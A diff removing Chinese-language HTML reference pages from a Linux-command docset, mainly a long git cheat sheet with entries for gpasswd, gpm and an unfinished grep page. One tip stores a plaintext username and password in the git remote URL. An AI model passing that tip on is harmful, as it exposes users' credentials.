-Host work.github.com
-  HostName github.com
-  # Port 服务器open-ssh端口(默认:22,默认时一般不写此行)
-  # PreferredAuthentications 配置登录时用什么权限认证 
-  #                          publickey|password publickey|keyboard-interactive等
-  User git
-  IdentityFile ~/.ssh/work_rsa
-
-
    -
  • Host 这里是个别名可以随便命名
  • -
  • HostName 一般是网站如:git@ss.github.com:username/repo.git 填写 github.com
  • -
  • User 通常填写git
  • -
  • IdentityFile 使用的公钥文件地址
  • -
-

4.测试

-
ssh -T git@jslite.github.com  # `@`后面跟上定义的Host  
-ssh -T work.github.com        # 通过别名测试
-ssh -i ~/公钥文件地址 Host别名  # 如 ssh -i ~/.ssh/work_rsa work.github.com
-
-

5.使用

-
# 原来的写法
-git clone git@github.com:<jslite的用户名>/learngit.git
-# 现在的写法
-git clone git@jslite.github.com:<jslite的用户名>/learngit.git
-git clone git@work.github.com:<work的用户名>/learngit.git
-
-

5.注意

-

如果你修改了id_rsa的名字,你需要将ssh key添加到SSH agent中,如:

-
ssh-add ~/.ssh/jslite_rsa
-ssh-add -l  # 查看所有的key
-ssh-add -D  # 删除所有的key
-ssh-add -d  ~/.ssh/jslite_rsa # 删除指定的key
-
-

免密码登录远程服务器

-
$ ssh-keygen -t rsa -P '' -f ~/.ssh/aliyunserver.key
-$ ssh-copy-id -i ~/.ssh/aliyunserver.key.pub root@192.168.182.112 # 这里需要输入密码一次
-
-

编辑 ~/.ssh/config

-
Host aliyun1
-  HostName 192.168.182.112
-  User root
-  PreferredAuthentications publickey
-  IdentityFile ~/.ssh/aliyunserver.key
-
-

上面配置完了,可以通过命令登录,不需要输入IP地址和密码 ssh aliyun1

-

https协议下提交代码免密码

-
git clone https://github.com/username/rep.git
-
-

通过上面方式克隆可能需要密码,解决办法:进入当前克隆的项目 vi rep/.git/config 编辑 config, 按照下面方式修改,你就可以提交代码不用输入密码了。

-
[core]
-	repositoryformatversion = 0
-	filemode = true
-	bare = false
-	logallrefupdates = true
-	ignorecase = true
-	precomposeunicode = true
-[remote "origin"]
--	url = https://github.com/username/rep.git
-+	url = https://用户名:密码@github.com/username/rep.git
-	fetch = +refs/heads/*:refs/remotes/origin/*
-[branch "master"]
-	remote = origin
-	merge = refs/heads/master
-
-

文件推向3个git库

-

1. 增加3个远程库地址

-
git remote add origin https://github.com/JSLite/JSLite.git  
-git remote set-url --add origin https://gitlab.com/wang/JSLite.js.git  
-git remote set-url --add origin https://oschina.net/wang/JSLite.js.git  
-
-

2. 删除其中一个 set-url 地址

-
usage: git remote set-url [--push] <name> <newurl> [<oldurl>]
-   or: git remote set-url --add <name> <newurl>
-   or: git remote set-url --delete <name> <url>
-
-

git remote set-url --delete origin https://oschina.net/wang/JSLite.js.git

-

3.推送代码

-
git push origin master
-git push -f origin master  # 强制推送  
-
-

4.拉代码

-

只能拉取 origin 里的一个url地址,这个fetch-url
-默认为你添加的到 origin的第一个地址

-
git pull origin master   
-git pull --all # 获取远程所有内容包括tag  
-git pull origin next:master # 取回origin主机的next分支,与本地的master分支合并  
-git pull origin next # 远程分支是与当前分支合并  
-
-# 上面一条命令等同于下面两条命令   
-git fetch origin  
-git merge origin/next  
-
-

如果远程主机删除了某个分支,默认情况下,git pull 不会在拉取远程分支的时候,删除对应的本地分支。这是为了防止,由于其他人操作了远程主机,导致git pull不知不觉删除了本地分支。
-但是,你可以改变这个行为,加上参数 -p 就会在本地删除远程已经删除的分支。

-
$ git pull -p
-# 等同于下面的命令
-$ git fetch --prune origin 
-$ git fetch -p
-
-

5.更改pull

-

只需要更改config文件里,那三个url的顺序即可,fetch-url会直接对应排行第一的那个utl连接。

-

修改远程仓库地址

-
git remote remove origin  # 删除该远程路径  
-git remote add origin git@jslite.github.com:JSLite/JSLite.git  # 添加远程路径 
-
-

撤销远程记录

-
git reset --hard HEAD~1 # 撤销一条记录   
-git push -f origin HEAD:master # 同步到远程仓库  
-
-

放弃本地的文件修改

-
git reset --hard FETCH_HEAD # FETCH_HEAD表示上一次成功git pull之后形成的commit点。然后git pull
-
-

git reset --hard FETCH_HEAD 出现错误

-
git pull
-You are not currently on a branch, so I cannot use any
-'branch.<branchname>.merge' in your configuration file.
-Please specify which remote branch you want to use on the command
-line and try again (e.g. 'git pull <repository> <refspec>').
-See git-pull(1) FOR details.
-
-

解决方法:

-
git checkout -b temp # 新建+切换到temp分支 
-git checkout master
-
-

最简单放弃本地修改内容

-
# 如果有的修改以及加入暂存区的话
-git reset --hard 
-# 还原所有修改,不会删除新增的文件
-git checkout . 
-# 下面命令会删除新增的文件
-git clean -xdf
-
-

通过存储暂存区stash,在删除暂存区的方法放弃本地修改。

-
git stash && git stash drop 
-
-

回滚到某个commit提交

-
git revert HEAD~1 # 撤销一条记录 会弹出 commit 编辑
-git push # 提交回滚
-
-

回退到某一个版本

-
git reset --hard <hash>
-# 例如 git reset --hard a3hd73r
-# --hard代表丢弃工作区的修改,让工作区与版本代码一模一样,与之对应,
-# --soft参数代表保留工作区的修改。
-
-

去掉某个commit

-
# 实质是新建了一个与原来完全相反的commit,抵消了原来commit的效果
-git revert <commit-hash> 
-
-

新建一个空分支

-
# 这种方式新建的分支(gh-pages)是没有 commit 记录的
-git checkout --orphan gh-pages
-# 删除新建的gh-pages分支原本的内容,如果不删除,提交将作为当前分支的第一个commit
-git rm -rf .
-# 查看一下状态 有可能上面一条命令,没有删除还没有提交的的文件
-git state 
-
-

合并多个commit

-
# 这个命令,将最近4个commit合并为1个,HEAD代表当前版本。
-# 将进入VIM界面,你可以修改提交信息。
-git rebase -i HEAD~4 
-# 可以看到其中分为两个部分,上方未注释的部分是填写要执行的指令,
-# 而下方注释的部分则是指令的提示说明。指令部分中由前方的命令名称、commit hash 和 commit message 组成
-# 当前我们只要知道 pick 和 squash 这两个命令即可。
-# --> pick 的意思是要会执行这个 commit
-# --> squash 的意思是这个 commit 会被合并到前一个commit
-
-# 我们将 需要保留的 这个 commit 前方的命令改成 squash 或 s,然后输入:wq以保存并退出
-# 这是我们会看到 commit message 的编辑界面
-
-# 其中, 非注释部分就是两次的 commit message, 你要做的就是将这两个修改成新的 commit message。
-# 
-# 输入wq保存并推出, 再次输入git log查看 commit 历史信息,你会发现这两个 commit 已经合并了。
-# 将修改强制推送到前端
-git push -f origin master
-
-

修改远程Commit记录

-
git commit --amend
-# amend只能修改没有提交到线上的,最后一次commit记录
-git rebase -i HEAD~3
-# 表示要修改当前版本的倒数第三次状态
-# 将要更改的记录行首单词 pick 改为 edit
-pick 96dc3f9 doc: Update quick-start.md
-pick f1cce8a test(Transition):Add transition test (#47)
-pick 6293516 feat(Divider): Add Divider component.
-# Rebase eeb03a4..6293516 onto eeb03a4 (3 commands)
-#
-# Commands:
-# p, pick = use commit
-# r, reword = use commit, but edit the commit message
-# e, edit = use commit, but stop for amending
-# s, squash = use commit, but meld into previous commit
-# f, fixup = like "squash", but discard this commit's log message
-# x, exec = run command (the rest of the line) using shell
-# d, drop = remove commit
-
-

保存并退出,会弹出下面提示

-
# You can amend the commit now, with
-# 
-#   git commit --amend
-# 
-# Once you are satisfied with your changes, run
-# 
-#   git rebase --continue
-
-# 通过这条命令进入编辑页面更改commit,保存退出
-git commit --amend
-# 保存退出确认修改,继续执行 rebase, 
-git rebase --continue
-# 如果修改多条记录反复执行上面两条命令直到完成所有修改
-
-# 最后,确保别人没有提交进行push,最好不要加 -f 强制推送
-git push -f origin master
-
-

添加忽略文件

-
echo node_modules/ >> .gitignore
-
-

利用commit关闭一个issue

-

这个功能在Github上可以玩儿,Gitlab上特别老的版本不能玩儿哦,那么如何跟随着commit关闭一个issue呢? 在confirm merge的时候可以使用一下命令来关闭相关issue:

-

fixes #xxxfixed #xxxfix #xxxcloses #xxxclose #xxxclosed #xxx

-

同步fork的上游仓库

-

Github教程同步fork教程在Github上同步一个分支(fork)

-

设置添加多个远程仓库地址。

-

在同步之前,需要创建一个远程点指向上游仓库(repo).如果你已经派生了一个原始仓库,可以按照如下方法做。

-
$ git remote -v
-# List the current remotes (列出当前远程仓库)
-# origin  https://github.com/user/repo.git (fetch)
-# origin  https://github.com/user/repo.git (push)
-$ git remote add upstream https://github.com/otheruser/repo.git
-# Set a new remote (设置一个新的远程仓库)
-$ git remote -v
-# Verify new remote (验证新的原唱仓库)
-# origin    https://github.com/user/repo.git (fetch)
-# origin    https://github.com/user/repo.git (push)
-# upstream  https://github.com/otheruser/repo.git (fetch)
-# upstream  https://github.com/otheruser/repo.git (push)
-
-

同步更新仓库内容

-

同步上游仓库到你的仓库需要执行两步:首先你需要从远程拉去,之后你需要合并你希望的分支到你的本地副本分支。从上游的存储库中提取分支以及各自的提交内容。 master 将被存储在本地分支机构 upstream/master

-
git fetch upstream
-# remote: Counting objects: 75, done.
-# remote: Compressing objects: 100% (53/53), done.
-# remote: Total 62 (delta 27), reused 44 (delta 9)
-# Unpacking objects: 100% (62/62), done.
-# From https://github.com/ORIGINAL_OWNER/ORIGINAL_REPOSITORY
-#  * [new branch]      master     -> upstream/master
-
-

检查你的 fork's 本地 master 分支

-
git checkout master
-# Switched to branch 'master'
-
-

合并来自 upstream/master 的更改到本地 master 分支上。 这使你的前 fork's master 分支与上游资源库同步,而不会丢失你本地修改。

-
git merge upstream/master
-# Updating a422352..5fdff0f
-# Fast-forward
-#  README                    |    9 -------
-#  README.md                 |    7 ++++++
-#  2 files changed, 7 insertions(+), 9 deletions(-)
-#  delete mode 100644 README
-#  create mode 100644 README.md
-
-

批量修改历史commit中的名字和邮箱

-

1.克隆仓库

-

注意参数,这个不是普通的clone,clone下来的仓库并不能参与开发

-
git clone --bare https://github.com/user/repo.git
-cd repo.git
-
-

2.命令行中运行代码

-

OLD_EMAIL原来的邮箱
-CORRECT_NAME更正的名字
-CORRECT_EMAIL更正的邮箱

-

将下面代码复制放到命令行中执行

-
git filter-branch -f --env-filter '
-OLD_EMAIL="wowohoo@qq.com"
-CORRECT_NAME="小弟调调"
-CORRECT_EMAIL="更正的邮箱@qq.com"
-if [ "$GIT_COMMITTER_EMAIL" = "$OLD_EMAIL" ]
-then
-    export GIT_COMMITTER_NAME="$CORRECT_NAME"
-    export GIT_COMMITTER_EMAIL="$CORRECT_EMAIL"
-fi
-if [ "$GIT_AUTHOR_EMAIL" = "$OLD_EMAIL" ]
-then
-    export GIT_AUTHOR_NAME="$CORRECT_NAME"
-    export GIT_AUTHOR_EMAIL="$CORRECT_EMAIL"
-fi
-' --tag-name-filter cat -- --branches --tags
-
-

执行过程

-
Rewrite 160d4df2689ff6df3820563bfd13b5f1fb9ba832 (479/508) (16 seconds passed, remaining 0 predicted)
-Ref 'refs/heads/dev' was rewritten
-Ref 'refs/heads/master' was rewritten
-
-

3.同步到远程仓库

-

同步到push远程git仓库

-
git push --force --tags origin 'refs/heads/*'
-
-

我还遇到了如下面错误,lab默认给master分支加了保护,不允许强制覆盖。Project(项目)->Setting->Repository 菜单下面的Protected branches把master的保护去掉就可以了。修改完之后,建议把master的保护再加回来,毕竟强推不是件好事。

-
remote: GitLab: You are not allowed to force push code to a protected branch on this project.
-
-

当上面的push 不上去的时候,先 git pull 确保最新代码

-
git pull  --allow-unrelated-histories
-# 或者指定分枝
-git pull origin master --allow-unrelated-histories
-
-

查看某个文件历史

-
git log --pretty=oneline 文件名  # 列出文件的所有改动历史  
-git show c178bf49   # 某次的改动的修改记录  
-git log -p c178bf49 # 某次的改动的修改记录  
-git blame 文件名     # 显示文件的每一行是在那个版本最后修改。  
-git whatchanged 文件名  # 显示某个文件的每个版本提交信息:提交日期,提交人员,版本号,提交备注(没有修改细节)  
-
-

打造自己的git命令

-
git config --global alias.st status
-git config --global alias.br branch
-git config --global alias.co checkout
-git config --global alias.ci commit
-
-

配置好后再输入git命令的时候就不用再输入一大段了,例如我们要查看状态,只需:

-
git st
-
-

中文乱码的解决方案

-
git config --global core.quotepath false
-
-

新建仓库

-

init

-

git init #初始化

-

status

-

git status #获取状态

-

add

-

git add file # .或*代表全部添加
-git rm --cached <added_file_to_undo> # 在commit之前撤销git add操作
-git reset head # 好像比上面git rm --cached更方便

-

commit

-

git commit -m "message" #此处注意乱码

-

remote

-

git remote add origin git@github.com:JSLite/test.git #添加源

-

push

-
git push -u origin master # push同事设置默认跟踪分支  
-git push origin master  
-git push -f origin master # 强制推送文件,缩写 -f(全写--force)
-
-

clone

-

git clone git://github.com/JSLite/JSLite.js.git
-git clone git://github.com/JSLite/JSLite.js.git mypro #克隆到自定义文件夹
-git clone [user@]example.com:path/to/repo.git/ #SSH协议还有另一种写法。

-

git clone支持多种协议,除了HTTP(s)以外,还支持SSH、Git、本地文件协议等,下面是一些例子。git clone <版本库的网址> <本地目录名>

-
$ git clone http[s]://example.com/path/to/repo.git/
-$ git clone ssh://example.com/path/to/repo.git/
-$ git clone git://example.com/path/to/repo.git/
-$ git clone /opt/git/project.git 
-$ git clone file:///opt/git/project.git
-$ git clone ftp[s]://example.com/path/to/repo.git/
-$ git clone rsync://example.com/path/to/repo.git/
-
-

本地

-

help

-
git help config # 获取帮助信息  
-
-

add

-
git add *   # 跟踪新文件   
-git add -u [path]   # 添加[指定路径下]已跟踪文件   
-
-

rm

-
rm *&git rm *          # 移除文件  
-git rm -f *            # 移除文件  
-git rm --cached *      # 取消跟踪  
-git mv file_from file_to  # 重命名跟踪文件  
-git log   # 查看提交记录  
-
-

commit

-
git commit #提交更新   
-git commit -m 'message' #提交说明   
-git commit -a #跳过使用暂存区域,把所有已经跟踪过的文件暂存起来一并提交   
-git commit --amend #修改最后一次提交   
-git commit log #查看所有提交,包括没有push的commit    
-git commit -m "#133" #关联issue 任意位置带上# 符号加上issue号码  
-git commit -m "fix #133" commit关闭issue  
-git commit -m '概要描述'
-
- - - - - - -\n\n'
'1.详细描述' - - - - - - - -\n''2.详细描述' #提交简要描述和详细描述 - -

reset

-
git reset HEAD *  # 取消已经暂存的文件   
-git reset --mixed HEAD * # 同上   
-git reset --soft HEAD *  # 重置到指定状态,不会修改索引区和工作树   
-git reset --hard HEAD *  # 重置到指定状态,会修改索引区和工作树   
-git reset -- files *     # 重置index区文件   
-
-

revert

-
git revert HEAD   # 撤销前一次操作   
-git revert HEAD~  # 撤销前前一次操作   
-git revert commit # 撤销指定操作   
-
-

checkout

-
git checkout -- file  # 取消对文件的修改(从暂存区——覆盖worktree file)  
-git checkout branch|tag|commit -- file_name  # 从仓库取出file覆盖当前分支   
-git checkout HEAD~1 [文件]  # 将会更新 working directory 去匹配某次 commit   
-git checkout -- .          # 从暂存区取出文件覆盖工作区   
-git checkout -b gh-pages  0c304c9  # 这个表示 从当前分支 commit 哈希值为 0c304c9 的节点,分一个新的分支gh-pages出来,并切换到 gh-pages   
-
-

diff

-
git diff file     # 查看指定文件的差异   
-git diff --stat   # 查看简单的diff结果   
-git diff  # 比较Worktree和Index之间的差异   
-git diff --cached   # 比较Index和HEAD之间的差异   
-git diff HEAD       # 比较Worktree和HEAD之间的差异   
-git diff branch     # 比较Worktree和branch之间的差异   
-git diff branch1 branch2  # 比较两次分支之间的差异   
-git diff commit commit    # 比较两次提交之间的差异   
-git diff master..test   # 上面这条命令只显示两个分支间的差异  
-git diff master...test    # 你想找出‘master’,‘test’的共有 父分支和'test'分支之间的差异,你用3个‘.'来取代前面的两个'.'  
-
-

stash

-
git stash # 将工作区现场(已跟踪文件)储藏起来,等以后恢复后继续工作。   
-git stash list  # 查看保存的工作现场   
-git stash apply # 恢复工作现场   
-git stash drop  # 删除stash内容   
-git stash pop   # 恢复的同时直接删除stash内容   
-git stash apply stash@{0} # 恢复指定的工作现场,当你保存了不只一份工作现场时。   
-
-

merge

-
git merge --squash test # 合并压缩,将test上的commit压缩为一条   
-
-

cherry-pick

-
git cherry-pick commit    # 拣选合并,将commit合并到当前分支   
-git cherry-pick -n commit # 拣选多个提交,合并完后可以继续拣选下一个提交   
-
-

rebase

-
git rebase master   # 将master分之上超前的提交,变基到当前分支  
-git rebase --onto master 169a6  # 限制回滚范围,rebase当前分支从169a6以后的提交  
-git rebase --interactive # 交互模式,修改commit   
-git rebase --continue    # 处理完冲突继续合并   
-git rebase --skip        # 跳过   
-git rebase --abort       # 取消合并    
-
-

分支branch

-

删除

-
git push origin :branchName  # 删除远程分支  
-git push origin --delete new # 删除远程分支new   
-git branch -d branchName     # 删除本地分支,强制删除用-D  
-git branch -d test      # 删除本地test分支   
-git branch -D test      # 强制删除本地test分支   
-git remote prune origin # 远程删除了,本地还能看到远程存在,这条命令删除远程不存在的分支
-
-

提交

-
git push -u origin branchName # 提交分支到远程origin主机中  
-
-

拉取

-

git fetch -p #拉取远程分支时,自动清理 远程分支已删除,本地还存在的对应同名分支。

-

分支合并

-
git merge branchName      # 合并分支 - 将分支branchName和当前所在分支合并   
-git merge origin/master   # 在本地分支上合并远程分支。   
-git rebase origin/master  # 在本地分支上合并远程分支。   
-git merge test            # 将test分支合并到当前分支   
-
-

重命名

-

git branch -m old new #重命名分支

-

查看

-
git branch      # 列出本地分支   
-git branch -r   # 列出远端分支   
-git branch -a   # 列出所有分支   
-git branch -v   # 查看各个分支最后一个提交对象的信息   
-git branch --merge      # 查看已经合并到当前分支的分支   
-git branch --no-merge   # 查看为合并到当前分支的分支   
-git remote show origin  # 可以查看remote地址,远程分支
-
-

新建

-
git branch test # 新建test分支  
-git branch newBrach 3defc69 # 指定哈希3defc69,新建分支名字为newBrach
-git checkout -b newBrach origin/master # 取回远程主机的更新以后,在它的基础上创建一个新的分支  
-git checkout -b newBrach 3defc69 # 以哈希值3defc69,新建 newBrach 分支,并切换到该分支
-
-

连接

-
git branch --set-upstream dev origin/dev     # 将本地dev分支与远程dev分支之间建立链接  
-git branch --set-upstream master origin/next # 手动建立追踪关系  
-
-

分支切换

-
git checkout test     # 切换到test分支   
-git checkout -b test  # 新建+切换到test分支   
-git checkout -b test dev # 基于dev新建test分支,并切换   
-
-

远端

-
git fetch <远程主机名> <分支名>   # fetch取回所有分支(branch)的更新  
-git fetch origin remotebranch[:localbranch]   #  从远端拉去分支[到本地指定分支]   
-git merge origin/branch   # 合并远端上指定分支   
-git pull origin remotebranch:localbranch  #  拉去远端分支到本地分支   
-git push origin branch    # 将当前分支,推送到远端上指定分支   
-git push origin localbranch:remotebranch  # 推送本地指定分支,到远端上指定分支   
-git push origin :remotebranch   # 删除远端指定分支   
-git checkout -b [--track] test origin/dev # 基于远端dev分支,新建本地test分支[同时设置跟踪]  
-
-

submodule

-

克隆项目同时克隆submodule

-
git clone https://github.com/jaywcjlove/handbook.git --depth=1 --recurse-submodules
-
-

克隆项目,之后再手动克隆 submodule 子项目

-
git submodule add --force '仓库地址' '路径'
-# 其中,仓库地址是指子模块仓库地址,路径指将子模块放置在当前工程下的路径。
-# 注意:路径不能以 / 结尾(会造成修改不生效)、不能是现有工程已有的目录(不能順利 Clone)
-git submodule init # 初始化submodule
-git submodule update # 更新submodule(必须在根目录执行命令)
-git submodule update --init --recursive  # 下载的工程带有submodule
-
-

当使用git clone下来的工程中带有submodule时,初始的时候,submodule的内容并不会自动下载下来的,此时,只需执行如下命令:

-
git submodule foreach git pull  # submodule 里有其他的 submodule 一次更新
-git submodule foreach git pull origin master # submodule更新
-
-git submodule foreach --recursive git submodule init
-git submodule foreach --recursive git submodule update
-
-

删除文件

-
git rm -rf node_modules/
-
-

remote

-

git是一个分布式代码管理工具,所以可以支持多个仓库,在git里,服务器上的仓库在本地称之为remote。个人开发时,多源用的可能不多,但多源其实非常有用。

-
git remote add origin1 git@github.com:yanhaijing/data.js.git  
-git remote    # 显示全部源  
-git remote -v # 显示全部源+详细信息  
-git remote rename origin1 origin2 # 重命名  
-git remote rm origin    # 删除  
-git remote show origin  # 查看指定源的全部信息  
-
-

标签tag

-

当开发到一定阶段时,给程序打标签是非常棒的功能。

-
git tag -a v0.1 -m 'my version 1.4' # 新建带注释标签   
-git push origin --tags              # 一次性推送所有分支 
-git push origin v1.5                # 推送单个tag到orgin源上 
-git tag -v v1.4.2.1                 # 验证标签,验证已经签署的标签
-git show v1.5                       # 看到对应的 GPG 签
-
-git tag        # 列出现有标签   
-git tag v0gi.1 # 新建标签   
-git checkout tagname   # 切换到标签       
-git tag -d v0.1 # 删除标签   
-git push origin :refs/tags/v0.1 # 删除远程标签   
-git pull --all # 获取远程所有内容包括tag  
-git --git-dir='<绝对地址>/.git' describe --tags HEAD # 查看本地版本信息  
-
-

日志log

-
git config format.pretty oneline  #显示历史记录时,每个提交的信息只显示一行   
-git config color.ui true #彩色的 git 输出   
-git log #查看最近的提交日志   
-git log --pretty=oneline #单行显示提交日志   
-git log --graph --pretty=oneline --abbrev-commit   
-git log -num #显示第几条log(倒数)   
-git reflog #查看所有分支的所有操作记录   
-git log --since=1.day #一天内的提交;你可以给出各种时间格式,比如说具体的某一天(“2008-01-15”),或者是多久以前(“2 years 1 day 3 minutes ago”)。   
-git log --pretty="%h - %s" --author=自己的名字 #查看自己的日志   
-git log -p -2 #展开两次更新显示每次提交的内容差异   
-git log --stat #要快速浏览其他协作者提交的更新都作了哪些改动   
-git log --pretty=format:"%h - %an, %ar : %s"#定制要显示的记录格式   
-git log --pretty=format:'%h : %s' --date-order --graph # 拓扑顺序展示   
-git log --pretty=format:'%h : %s - %ad' --date=short #日期YYYY-MM-DD显示   
-git log <last tag> HEAD --pretty=format:%s # 只显示commit   
-git config --global format.pretty '%h : %s - %ad' --date=short #日期YYYY-MM-DD显示 写入全局配置
-
-

|选项 | 说明|选项 | 说明| -|----|----|----|----| -|%H |提交对象(commit)的完整哈希字串 |%ad |作者修订日期(可以用 -date= 选项定制格式)| -|%h |提交对象的简短哈希字串 |%ar |作者修订日期,按多久以前的方式显示| -|%T |树对象(tree)的完整哈希字串 |%cn |提交者(committer)的名字| -|%t |树对象的简短哈希字串 |%ce |提交者的电子邮件地址| -|%P |父对象(parent)的完整哈希字串 |%cd |提交日期| -|%p |父对象的简短哈希字串 |%cr |提交日期,按多久以前的方式显示| -|%an |作者(author)的名字 |%s |提交说明| -|%ae |作者的电子邮件地址| - | - |

-

Pretty Formats

-

重写历史

-
git commit --amend    # 改变最近一次提交  
-git rebase -i HEAD~3  # 修改最近三次的提交说明,或者其中任意一次  
-git commit --amend    # 保存好了,这些指示很明确地告诉了你该干什么  
-git rebase --continue # 修改提交说明,退出编辑器。  
-
-
pick f7f3f6d changed my name a bit
-pick 310154e updated README formatting and added blame
-pick a5f4a0d added cat-file
-
-

改成

-
pick 310154e updated README formatting and added blame
-pick f7f3f6d changed my name a bit
-
-

删除仓库

-
cd ..
-rm -rf repo.git
-
-

Github官方教程

-

其它

-
git help *  # 获取命令的帮助信息  
-git status  # 获取当前的状态,非常有用,因为git会提示接下来的能做的操作  
-
-

报错问题解决

-

1. git fatal: protocol error: bad line length character: No s

-

解决办法:更换remote地址为 http/https

-

2. The requested URL returned error: 403 Forbidden while accessing

-

解决github push错误的办法:

-
#vim 编辑器打开 当前项目中的config文件
-vim .git/config
-
-#修改
-[remote "origin"]  
-    url = https://github.com/jaywcjlove/example.git  
-
-#为下面代码
-[remote "origin"]  
-    url = https://jaywcjlove@github.com/jaywcjlove/example.git  
-
-

3. git status 显示中文问题

-

在查看状态的时候 git status 如果是中文就显示下面的情况

-
\344\272\247\345\223\201\351\234\200\346\261\202
-
-

解决这个问题方法是:

-
git config --global core.quotepath false
-
-

参考资料

- - - - - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/gpasswd.html b/linux-command.docset/Contents/Resources/Documents/c/gpasswd.html deleted file mode 100644 index 495cc0ea44..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/gpasswd.html +++ /dev/null @@ -1,102 +0,0 @@ - - - - - - - - - - - gpasswd 命令,Linux gpasswd 命令详解:Linux下工作组文件的管理工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

gpasswd

-

Linux下工作组文件的管理工具

-

补充说明

-

gpasswd命令 是Linux下工作组文件/etc/group/etc/gshadow管理工具。

-

语法

-
gpasswd(选项)(参数)
-
-

选项

-
-a:添加用户到组;
--d:从组删除用户;
--A:指定管理员;
--M:指定组成员和-A的用途差不多;
--r:删除密码;
--R:限制用户登入组,只有组中的成员才可以用newgrp加入该组。
-
-

参数

-

组:指定要管理的工作组。

-

实例

-

如系统有个peter账户,该账户本身不是groupname群组的成员,使用newgrp需要输入密码即可。

-
gpasswd groupname
-
-

让使用者暂时加入成为该组成员,之后peter建立的文件group也会是groupname。所以该方式可以暂时让peter建立文件时使用其他的组,而不是peter本身所在的组。

-

所以使用gpasswd groupname设定密码,就是让知道该群组密码的人可以暂时切换具备groupname群组功能的。

-
gpasswd -A peter users
-
-

这样peter就是users群组的管理员,就可以执行下面的操作:

-
gpasswd -a mary users
-gpasswd -a allen users
-
-

注意:添加用户到某一个组 可以使用usermod -G group_name user_name这个命令可以添加一个用户到指定的组,但是以前添加的组就会清空掉。

-

所以想要添加一个用户到一个组,同时保留以前添加的组时,请使用gpasswd这个命令来添加操作用户:

-
gpasswd -a user_name group_name
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/gpm.html b/linux-command.docset/Contents/Resources/Documents/c/gpm.html deleted file mode 100644 index ef1c095fc1..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/gpm.html +++ /dev/null @@ -1,83 +0,0 @@ - - - - - - - - - - - gpm 命令,Linux gpm 命令详解:提供文字模式下的滑鼠事件处理 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

gpm

-

提供文字模式下的滑鼠事件处理

-

补充说明

-

gpm命令 是Linux的虚拟控制台下的鼠标服务器,用于在虚拟控制台下实现鼠标复制和粘贴文本的功能。

-

语法

-
gpm(选项)
-
-

选项

-
-a:设置加速值;
--b:设置波特率;
--B:设置鼠标按键次序;
--m:指定鼠标设备文件;
--t:设置鼠标类型。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/grep.html b/linux-command.docset/Contents/Resources/Documents/c/grep.html deleted file mode 100644 index e43615facb..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/grep.html +++ /dev/null @@ -1,275 +0,0 @@ - - - - - - - - - - - grep 命令,Linux grep 命令详解:强大的文本搜索工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

grep

-

强大的文本搜索工具

-

补充说明

-

grep (global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。用于过滤/搜索的特定字符。可使用正则表达式能配合多种命令使用,使用上十分灵活。

-

选项

-
-a --text  # 不要忽略二进制数据。
--A <显示行数>   --after-context=<显示行数>   # 除了显示符合范本样式的那一行之外,并显示该行之后的内容。
--b --byte-offset                           # 在显示符合范本样式的那一行之外,并显示该行之前的内容。
--B<显示行数>   --before-context=<显示行数>   # 除了显示符合样式的那一行之外,并显示该行之前的内容。
--c --count    # 计算符合范本样式的列数。
--C<显示行数> --context=<显示行数>或-<显示行数> # 除了显示符合范本样式的那一列之外,并显示该列之前后的内容。
--d<进行动作> --directories=<动作>  # 当指定要查找的是目录而非文件时,必须使用这项参数,否则grep命令将回报信息并停止动作。
--e<范本样式> --regexp=<范本样式>   # 指定字符串作为查找文件内容的范本样式。
--E --extended-regexp             # 将范本样式为延伸的普通表示法来使用,意味着使用能使用扩展正则表达式。
--f<范本文件> --file=<规则文件>     # 指定范本文件,其内容有一个或多个范本样式,让grep查找符合范本条件的文件内容,格式为每一列的范本样式。
--F --fixed-regexp   # 将范本样式视为固定字符串的列表。
--G --basic-regexp   # 将范本样式视为普通的表示法来使用。
--h --no-filename    # 在显示符合范本样式的那一列之前,不标示该列所属的文件名称。
--H --with-filename  # 在显示符合范本样式的那一列之前,标示该列的文件名称。
--i --ignore-case    # 忽略字符大小写的差别。
--l --file-with-matches   # 列出文件内容符合指定的范本样式的文件名称。
--L --files-without-match # 列出文件内容不符合指定的范本样式的文件名称。
--n --line-number         # 在显示符合范本样式的那一列之前,标示出该列的编号。
--P --perl-regexp         # PATTERN 是一个 Perl 正则表达式
--q --quiet或--silent     # 不显示任何信息。
--R/-r  --recursive       # 此参数的效果和指定“-d recurse”参数相同。
--s --no-messages  # 不显示错误信息。
--v --revert-match # 反转查找。
--V --version      # 显示版本信息。   
--w --word-regexp  # 只显示全字符合的列。
--x --line-regexp  # 只显示全列符合的列。
--y # 此参数效果跟“-i”相同。
--o # 只输出文件中匹配到的部分。
--m <num> --max-count=<num> # 找到num行结果后停止查找,用来限制匹配行数
-
-

规则表达式

-
^    # 锚定行的开始 如:'^grep'匹配所有以grep开头的行。    
-$    # 锚定行的结束 如:'grep
-
- - - - - - - 匹配所有以grep结尾的行。
